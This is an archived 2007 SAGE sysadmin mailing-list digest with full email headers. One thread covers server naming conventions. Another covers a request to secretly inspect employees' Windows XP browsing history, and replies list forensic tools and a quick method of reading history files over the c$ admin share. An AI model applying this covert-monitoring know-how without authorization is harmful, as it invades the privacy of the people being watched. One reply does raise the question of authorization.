Subject: [SAGE] Naming conventions for servers, network gear, etc.
Date: Fri, 5 Jan 2007 14:47:11 -0500
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Have there been any papers done on naming conventions for servers,  
network gear, etc?

E.g., when is it better to call it "core-router-bwg" versus  
"juniperm10i" versus "router1"?

Or "server1" versus "dns1" versus "franko"?

There are a few obvious up-sides and down-sides of different schemes.  
But has anybody really dug in and written them down?

If not, I'd be interested in writing a paper on this with somebody  
for USENIX or SAGE. If you're interested in working with me on it,  
let me know.





Mark R. Lindsey  | ECG |  +1-229-316-0013  |  lindsey@e-c-group.com




From sage-members-owner@usenix.org Fri Jan  5 12:42:15 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05KgEuW018378
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 12:42:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l05KgEWu018376
	for sage-members-0utGoign; Fri, 5 Jan 2007 12:42:14 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05KgCsH018367
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Fri, 5 Jan 2007 12:42:13 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l05KgCpo018365
	for sage-members@usenix.org; Fri, 5 Jan 2007 12:42:12 -0800 (PST)
Received: from a.mail.sonic.net (a.mail.sonic.net [64.142.16.245])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05KbY25018169
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Fri, 5 Jan 2007 12:37:44 -0800 (PST)
Received: from [192.168.26.75] (64-84-9-2-sf-gw.ncircle.com [64.84.9.2])
	(authenticated bits=0)
	by a.mail.sonic.net (8.13.8.Beta0-Sonic/8.13.7) with ESMTP id
	l05KbLSL027212
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 5 Jan 2007 12:37:21 -0800
Message-ID: <459EB700.10803@kitchenlab.org>
Date: Fri, 05 Jan 2007 12:37:20 -0800
From: "Bruce A. Mah" <bmah@kitchenlab.org>
User-Agent: Thunderbird 1.5.0.9 (Macintosh/20061207)
MIME-Version: 1.0
To: "Mark R. Lindsey" <lindsey@acm.org>
CC: LOPSA Discuss List <discuss@lopsa.org>, SAGE list <sage-members@usenix.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
In-Reply-To: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
X-Enigmail-Version: 0.94.1.0
OpenPGP: id=5ba052c3
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="------------enigACC5475DDFF15CB95B216800"
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enigACC5475DDFF15CB95B216800
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

If memory serves me right, Mark R. Lindsey wrote:
> Have there been any papers done on naming conventions for servers, =20
> network gear, etc?
>=20
> E.g., when is it better to call it "core-router-bwg" versus =20
> "juniperm10i" versus "router1"?
>=20
> Or "server1" versus "dns1" versus "franko"?
>=20
> There are a few obvious up-sides and down-sides of different schemes.  =

> But has anybody really dug in and written them down?
>=20
> If not, I'd be interested in writing a paper on this with somebody =20
> for USENIX or SAGE. If you're interested in working with me on it, =20
> let me know.

This is more of a case study than a systematic treatise, but I saw this
presentation at NANOG a couple years ago that seems applicable:

http://www.nanog.org/mtg-0405/ringel.html

Bruce.


--------------enigACC5475DDFF15CB95B216800
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (Darwin)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFFnrcA2MoxcVugUsMRAse+AKCBmurmLls/cRmqURjBvIw57kvSIgCg27xH
/sg2Iqzt27fWeXE3cDsHduY=
=dVfZ
-----END PGP SIGNATURE-----

--------------enigACC5475DDFF15CB95B216800--


From sage-members-owner@usenix.org Fri Jan  5 12:47:13 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05KlCfq018891
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 12:47:12 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l05KlBnt018887
	for sage-members-0utGoign; Fri, 5 Jan 2007 12:47:11 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05KkpOd018842
	for <sage-members@usenix.org>; Fri, 5 Jan 2007 12:46:57 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id g2so7594188nfe
	for <sage-members@usenix.org>; Fri, 05 Jan 2007 12:46:50 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=TseOQdHbmu88TQ3FWivlgkRgbOvW8scCr5YKns44ue/dZzVISMJaUL/ZYPTIx5WJx0+PHnpEi5Mw5NAv4XRaaRMnL3dlm4iV5DbPc3m0kPnOInAplp3vbJmB4qfpj7FDW+GP1uswBERsNZLEHLvo7RhC0OtiTY/JFEcZSe0+auY=
Received: by 10.82.111.8 with SMTP id j8mr2249104buc.1168029613805;
	Fri, 05 Jan 2007 12:40:13 -0800 (PST)
Received: by 10.82.125.14 with HTTP; Fri, 5 Jan 2007 12:40:13 -0800 (PST)
Message-ID: <d9757b460701051240k75f43d6dtef66c768dbc467db@mail.gmail.com>
Date: Fri, 5 Jan 2007 15:40:13 -0500
From: "Nicholas Tang" <nicholastang@gmail.com>
To: "Cat Okita" <cat@reptiles.org>
Subject: Re: [SAGE] Re: [lopsa-discuss] Naming conventions for servers,
	network gear, etc.
Cc: "Mark R. Lindsey" <lindsey@acm.org>,
	"LOPSA Discuss List" <discuss@lopsa.org>,
	"SAGE list" <sage-members@usenix.org>
In-Reply-To: <20070105145836.F87740@skink.reptiles.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<20070105145836.F87740@skink.reptiles.org>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Interesting... the naming scheme we came up with internally is
similar, but actually goes past the host level.

The way it works is:

cc[last octet of ip]-[rack number].[network].[data center].[domain]

The "cc" is because the company is Community Connect and because it's
short.  ;)  It also gives us the ability to name non-CCI devices, if
there ever are any on our network.

This also conveniently also breaks down in to the ip address... the ip
address of any machine is 10.[data center/network].[rack].[host], so
we can go back and forth transparently between ip address and physical
location and host name without having to look anything up.

(For instance, the 10.30 network is a subnet in one data center, the
other subnets in that data center are 10.31, 10.32, etc.  10.40-10.49
is another data center, 10.50-10.59 is another, etc.)

So 10.80.17.3 would be cc3-17.[subnet abbreviation].[data center
abbreviation].ccops.us, and ccops.us just stands for "community
connect operations".  I know it's physically located in rack 17 in
whatever data center the 10.8x networks are located in.

And then, of course, we have CNAMEs that are based on purpose - so the
CNAME indicates if it's a database server, or a mail server, or a
webserver, or whatever.

It works well for us, and is of course admittedly more server-centric
than that one, but we have many more servers than
routers/switches/etc.

Nicholas

On 1/5/07, Cat Okita <cat@reptiles.org> wrote:
> On Fri, 5 Jan 2007, Mark R. Lindsey wrote:
> > Have there been any papers done on naming conventions for servers, network
> > gear, etc?
> >
> > E.g., when is it better to call it "core-router-bwg" versus "juniperm10i"
> > versus "router1"?
> > Or "server1" versus "dns1" versus "franko"?
>
> http://www.nanog.org/mtg-0405/ringel.html
>
> cheers!
> ==========================================================================
> "A cat spends her life conflicted between a deep, passionate and profound
> desire for fish and an equally deep, passionate and profound desire to
> avoid getting wet.  This is the defining metaphor of my life right now."
>


From sage-members-owner@usenix.org Fri Jan  5 15:23:37 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05NNaAn026658
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 15:23:36 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l05NNarn026657
	for sage-members-0utGoign; Fri, 5 Jan 2007 15:23:36 -0800 (PST)
Received: from asav09.insightbb.com (gateway.insightbb.com [74.128.0.19])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05NNSU4026646
	for <sage-members@sage.org>; Fri, 5 Jan 2007 15:23:34 -0800 (PST)
Received: from 74-130-60-177.dhcp.insightbb.com (HELO [127.0.0.1])
	([74.130.60.177])
	by asav09.insightbb.com with ESMTP; 05 Jan 2007 18:17:14 -0500
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AgAAALJrnkVKgjyxUGdsb2JhbAANhl2GSAEBKg
Message-ID: <459EDC88.7070706@insightbb.com>
Date: Fri, 05 Jan 2007 18:17:28 -0500
From: Aaron Bridge <a.bridge@insightbb.com>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: [SAGE] Internet History tool
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=15%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I will going to a company who wants me to look on all their users 
computers see what websites they have been accessing on the Internet.  
Yes, I could do this by looking in History and Temporary Internet 
Files.  Does anyone now of any "tools" or other ideas that will make 
this task easier and more thorough?

I should mention these are Windows XP SP2 workstations.

Thanks,
Aaron


From sage-members-owner@usenix.org Fri Jan  5 15:58:28 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05NwRpc006509
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 15:58:27 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l05NwR5W006508
	for sage-members-0utGoign; Fri, 5 Jan 2007 15:58:27 -0800 (PST)
Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.238])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05Nw00Z006398
	for <sage-members@sage.org>; Fri, 5 Jan 2007 15:58:11 -0800 (PST)
Received: by nz-out-0506.google.com with SMTP id z31so1832209nzd
	for <sage-members@sage.org>; Fri, 05 Jan 2007 15:58:00 -0800 (PST)
Received: by 10.64.184.14 with SMTP id h14mr16852623qbf.1168041480244;
	Fri, 05 Jan 2007 15:58:00 -0800 (PST)
Received: by 10.64.209.2 with HTTP; Fri, 5 Jan 2007 15:58:00 -0800 (PST)
Message-ID: <27d46a10701051558i590d3571od6304ef3600f8faa@mail.gmail.com>
Date: Fri, 5 Jan 2007 15:58:00 -0800
From: "Benjamin Feen" <benjy@feen.com>
To: "Aaron Bridge" <a.bridge@insightbb.com>
Subject: Re: [SAGE] Internet History tool
Cc: sage-members@sage.org
In-Reply-To: <459EDC88.7070706@insightbb.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <459EDC88.7070706@insightbb.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Reviewing DNS logs is surprisingly sufficient.  Let me know when you
decide to quit that job.

On 1/5/07, Aaron Bridge <a.bridge@insightbb.com> wrote:
> I will going to a company who wants me to look on all their users
> computers see what websites they have been accessing on the Internet.
> Yes, I could do this by looking in History and Temporary Internet
> Files.  Does anyone now of any "tools" or other ideas that will make
> this task easier and more thorough?
>
> I should mention these are Windows XP SP2 workstations.
>
> Thanks,
> Aaron
>


From sage-members-owner@usenix.org Fri Jan  5 16:03:52 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0603PYq009007
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 16:03:25 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0603PX7009005
	for sage-members-0utGoign; Fri, 5 Jan 2007 16:03:25 -0800 (PST)
Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.235])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0602ejM007246
	for <sage-members@sage.org>; Fri, 5 Jan 2007 16:02:51 -0800 (PST)
Received: by wx-out-0506.google.com with SMTP id i27so7671119wxd
	for <sage-members@sage.org>; Fri, 05 Jan 2007 16:02:39 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=jJgE3oBVaNVUyFYCCbhjGZxsgtSwXVqy2D2Ay93OP8c+/1ju22d6ule/mj4sSVwZhbRro9qaczSsRKakxiw/FOk7yHFFn1AHHwYVBhvqpaMdGbLK+/YjgX2uTW10QxFXvHEF5LBf523CSFRimLhK+01lun8BhkNMOnMb+IVRMVU=
Received: by 10.70.132.2 with SMTP id f2mr44199457wxd.1168041759447;
	Fri, 05 Jan 2007 16:02:39 -0800 (PST)
Received: by 10.70.131.11 with HTTP; Fri, 5 Jan 2007 16:02:39 -0800 (PST)
Message-ID: <a9f4a3860701051602p603d8546q3a13a09fc7d2db5a@mail.gmail.com>
Date: Fri, 5 Jan 2007 16:02:39 -0800
From: "Kurt Buff" <kurt.buff@gmail.com>
To: "Aaron Bridge" <a.bridge@insightbb.com>
Subject: Re: [SAGE] Internet History tool
Cc: sage-members@sage.org
In-Reply-To: <459EDC88.7070706@insightbb.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <459EDC88.7070706@insightbb.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Here are some snippets from emails on various lists to which I've
subscribed - I've made no effort at attribution, nor have I checked
the links, but you'll probably find some of them useful.

Of course, I know that one of your recommendations to them will be to
put up a caching web proxy with authentication for future use.

Kurt

---------------------------------------------------------------------------------------
See the web browser history log check recommendations here:
http://www.perverted-justice.com/guide/?pg=parents

---------------------------------------------------------------------------------------

Part 1: Focuses on Internet Explorer
http://www.securityfocus.com/infocus/1827

Part 2: Focuses on Firefox
http://www.securityfocus.com/infocus/1832

---------------------------------------------------------------------------------------

==== 1. In Focus - Browser History: What Happened? ====
   by Mark Joseph Edwards, News Editor, mark at ntsecurity / net

Occasionally, you might need to trace a user's Web-browsing path.
Manual forensic analysis, which involves digging through cookie files,
the browser's cache, and browser history data, isn't easy.

For a good rundown on forensic analysis of browser activity, you should
consider reading "Web Browser Forensics, Part 1," by Keith J. Jones and
Rohyt Belani of Red Cliff Consulting. The article, published on the
SecurityFocus Web site, offers a brief usage overview of some very
useful tools: in particular, Pasco, Internet Explorer History Viewer,
Web Historian, and Forensic Toolkit.
   http://list.windowsitpro.com/t?ctl=87E4:4FB69

Pasco is an open-source tool that can be used to reconstruct browser
use from Microsoft Internet Explorer's (IE's) index.dat files. The
files contain data such as which URLs were visited and when. Pasco is a
command-line tool that creates a text-based output file.
   http://list.windowsitpro.com/t?ctl=87E7:4FB69

Internet Explorer History Viewer, available from Phillips Ponder, has
been around for a while. It too can reconstruct IE usage and has the
added benefits of being able to read Netscape history data and find
fragments of deleted files in the Windows Recycle Bin. IE History costs
$50.
   http://list.windowsitpro.com/t?ctl=87E2:4FB69

The free Web Historian, provided by Red Cliff Consulting, is more
powerful than the previous two tools. It can help you analyze the
historic usage of Internet Explorer, Mozilla, Firefox, Netscape, Opera,
and Apple Computer's Safari.
   http://list.windowsitpro.com/t?ctl=87D7:4FB69

Forensic Toolkit (FTK), from AccessData, is the most powerful of the
bunch, and at $995, it better be. It too can reconstruct browser use
history, but it's also billed as a tool that can perform "complete and
thorough forensics examinations." Among other tasks, Forensic Toolkit
can index entire drives, allows quick text searches, and supports more
than 270 file types.
   http://list.windowsitpro.com/t?ctl=87DE:4FB69

---------------------------------------------------------------------------------------

On 1/5/07, Aaron Bridge <a.bridge@insightbb.com> wrote:
> I will going to a company who wants me to look on all their users
> computers see what websites they have been accessing on the Internet.
> Yes, I could do this by looking in History and Temporary Internet
> Files.  Does anyone now of any "tools" or other ideas that will make
> this task easier and more thorough?
>
> I should mention these are Windows XP SP2 workstations.
>
> Thanks,
> Aaron
>


From sage-members-owner@usenix.org Fri Jan  5 19:13:10 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063DAii019343
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 19:13:10 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l063DAfO019342
	for sage-members-0utGoign; Fri, 5 Jan 2007 19:13:10 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.184])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063Ch1Z019319
	for <sage-members@sage.org>; Fri, 5 Jan 2007 19:12:54 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id l35so7167564nfa
	for <sage-members@sage.org>; Fri, 05 Jan 2007 19:12:40 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=FGaObtfJf4mU4ldzttXHVnjMqgp6xLeI/1bdvIKrgnPiUavBhk70LkzMqFWxzdFVin7kvamkkyDH9jqJxu2LWWPqDD935n9iVFFu998st8lo+EAwOc2xLEpaCHIOdWuVjBxRngL2bJi9JpT+lf3RBj2XIlJ3jb8s98HekFRaFnc=
Received: by 10.78.170.17 with SMTP id s17mr4829641hue.1168053160146;
	Fri, 05 Jan 2007 19:12:40 -0800 (PST)
Received: by 10.78.136.16 with HTTP; Fri, 5 Jan 2007 19:12:40 -0800 (PST)
Message-ID: <bb075cdf0701051912t304cf34dk372952d14e55daf9@mail.gmail.com>
Date: Fri, 5 Jan 2007 22:12:40 -0500
From: "Rodrick Brown" <rodrick.brown@gmail.com>
To: "Aaron Bridge" <a.bridge@insightbb.com>
Subject: Re: [SAGE] Internet History tool
Cc: sage-members@sage.org
In-Reply-To: <459EDC88.7070706@insightbb.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <459EDC88.7070706@insightbb.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/5/07, Aaron Bridge <a.bridge@insightbb.com> wrote:
> I will going to a company who wants me to look on all their users
> computers see what websites they have been accessing on the Internet.
> Yes, I could do this by looking in History and Temporary Internet
> Files.  Does anyone now of any "tools" or other ideas that will make
> this task easier and more thorough?
>
> I should mention these are Windows XP SP2 workstations.
>
> Thanks,
> Aaron
>

Just setup a transparent Proxy of some sort possibly squid then parse
the squid access logs.

-- 
Rodrick R. Brown


From sage-members-owner@usenix.org Fri Jan  5 19:17:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063HTIY019473
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 19:17:30 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l063HTHt019472
	for sage-members-0utGoign; Fri, 5 Jan 2007 19:17:29 -0800 (PST)
Received: from asav01.insightbb.com (gateway.insightbb.com [74.128.0.19])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063H78g019451
	for <sage-members@sage.org>; Fri, 5 Jan 2007 19:17:18 -0800 (PST)
Received: from 74-130-60-177.dhcp.insightbb.com (HELO [127.0.0.1])
	([74.130.60.177])
	by asav01.insightbb.com with ESMTP; 05 Jan 2007 22:16:58 -0500
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AgAAAOKinkVKgjyxUGdsb2JhbAANhl2GSAEBKg
Message-ID: <459F14B8.10008@insightbb.com>
Date: Fri, 05 Jan 2007 22:17:12 -0500
From: Aaron Bridge <a.bridge@insightbb.com>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: Rodrick Brown <rodrick.brown@gmail.com>
CC: sage-members@sage.org
Subject: Re: [SAGE] Internet History tool
References: <459EDC88.7070706@insightbb.com>
	<bb075cdf0701051912t304cf34dk372952d14e55daf9@mail.gmail.com>
In-Reply-To: <bb075cdf0701051912t304cf34dk372952d14e55daf9@mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=15%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Rodrick Brown wrote:
> On 1/5/07, Aaron Bridge <a.bridge@insightbb.com> wrote:
>> I will going to a company who wants me to look on all their users
>> computers see what websites they have been accessing on the Internet.
>> Yes, I could do this by looking in History and Temporary Internet
>> Files.  Does anyone now of any "tools" or other ideas that will make
>> this task easier and more thorough?
>>
>> I should mention these are Windows XP SP2 workstations.
>>
>> Thanks,
>> Aaron
>>
>
> Just setup a transparent Proxy of some sort possibly squid then parse
> the squid access logs.
>
This would be ok for long term, but I only have four hours.  This is a 
very confidential assignment.  Nobody in the office is to know what I am 
doing. 


From sage-members-owner@usenix.org Fri Jan  5 19:33:50 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063XnDh020280
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 19:33:49 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l063XmR3020279
	for sage-members-0utGoign; Fri, 5 Jan 2007 19:33:48 -0800 (PST)
Received: from bushido.realityfailure.org
	(dsl093-119-032.blt1.dsl.speakeasy.net [66.93.119.32])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063XLng020267
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO)
	for <sage-members@sage.org>; Fri, 5 Jan 2007 19:33:32 -0800 (PST)
Received: from bushido (bushido [10.0.0.10])
	by bushido.realityfailure.org (8.12.8p1/8.12.8) with ESMTP id
	l063XCMn023044
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO)
	for <sage-members@sage.org>; Fri, 5 Jan 2007 22:33:12 -0500
Date: Fri, 5 Jan 2007 22:33:12 -0500 (EST)
From: John Jasen <jjasen@realityfailure.org>
X-X-Sender: jjasen@bushido
cc: sage-members@sage.org
Subject: Re: [SAGE] Internet History tool
In-Reply-To: <459EDC88.7070706@insightbb.com>
Message-ID: <Pine.LNX.4.64.0701052232040.22957@bushido>
References: <459EDC88.7070706@insightbb.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Scanned-By: MIMEDefang 2.35
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2
	(bushido.realityfailure.org [10.0.0.10]);
	Fri, 05 Jan 2007 22:33:12 -0500 (EST)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 5 Jan 2007, Aaron Bridge wrote:

> I will going to a company who wants me to look on all their users computers 
> see what websites they have been accessing on the Internet.  Yes, I could do 
> this by looking in History and Temporary Internet Files.  Does anyone now of 
> any "tools" or other ideas that will make this task easier and more thorough?

As a quick and dirty approach, I mount their c$ share to my system, and 
strings history.dat | grep http.

-- 
-- John E. Jasen (jjasen@realityfailure.org)
-- No one will sorrow for me when I die, because those who would
-- are dead already. -- Lan Mandragoran, The Wheel of Time, New Spring


From sage-members-owner@usenix.org Fri Jan  5 19:37:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063bueO020630
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 19:37:56 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l063buHO020629
	for sage-members-0utGoign; Fri, 5 Jan 2007 19:37:56 -0800 (PST)
Received: from relay02.pair.com (relay02.pair.com [209.68.5.16])
	by usenix.org (8.13.6/8.13.6) with SMTP id l063bYLx020605
	for <sage-members@usenix.org>; Fri, 5 Jan 2007 19:37:44 -0800 (PST)
Received: (qmail 61370 invoked by uid 0); 6 Jan 2007 03:37:29 -0000
Received: from unknown (HELO ?66.119.212.42?) (unknown)
	by unknown with SMTP; 6 Jan 2007 03:37:29 -0000
X-pair-Authenticated: 66.119.212.42
Message-ID: <459F18FC.40403@deaddrop.org>
Date: Fri, 05 Jan 2007 19:35:24 -0800
From: Etaoin Shrdlu <shrdlu@deaddrop.org>
Organization: dig @localhost TXT CHAOS version.bind
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.11) Gecko/20050728
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: SAGE Members <sage-members@usenix.org>
Subject: Re: [SAGE] Internet History tool
References: <459EDC88.7070706@insightbb.com>
	<bb075cdf0701051912t304cf34dk372952d14e55daf9@mail.gmail.com>
	<459F14B8.10008@insightbb.com>
In-Reply-To: <459F14B8.10008@insightbb.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=13%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Aaron Bridge wrote:

> Rodrick Brown wrote:
>
>> On 1/5/07, Aaron Bridge <a.bridge@insightbb.com> wrote:
>>
>>> I will going to a company who wants me to look on all their users
>>> computers see what websites they have been accessing on the Internet.
>>> Yes, I could do this by looking in History and Temporary Internet
>>> Files.  Does anyone now of any "tools" or other ideas that will make
>>> this task easier and more thorough?
>>>
>>> I should mention these are Windows XP SP2 workstations.
>>
[clip]

> This would be ok for long term, but I only have four hours.  This is a 
> very confidential assignment.  Nobody in the office is to know what I 
> am doing.


Four hours!?!?!? Either you vastly underestimated the difficulty of this 
task, or else someone else did. Do you at least have administrative 
access to the machines? I don't see how people are not going to know 
that things have been touched, and looked at. Is it supposed to take 
place in the middle of the night, or perhaps this weekend?

You are attempting to do simple forensics on precisely *how many* 
machines? If it's just a couple or so, this might not be so bad, but if 
it's (say) twenty, or more, you've got a problem. Large.

Personally, given the time constraints, I have the feeling that this may 
all be too little, too late, but I'd go in with Knoppix or Backtrack or 
similar, and reboot using those, to more easily view the "history" that 
IE keeps, if, and this is *very* important, they only have access to IE, 
and not Mozilla, or some variant thereof.

When is all this supposed to take place, do you have administrator's 
access, and (please note, this is IMPORTANT), do you have something in 
writing, and does the person asking you to do this really and truly have 
the right to do it? Dang, this is a nasty squirmy bag of worms you could 
potentially be opening, especially because you say "some company" and 
not "the company I work at." Oy.

-- 
I will put Chaos into fourteen lines
    And keep him there; and let him thence escape
         If he be lucky...
Edna St. Vincent Millay



From sage-members-owner@usenix.org Fri Jan  5 19:59:10 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063x9Ko021400
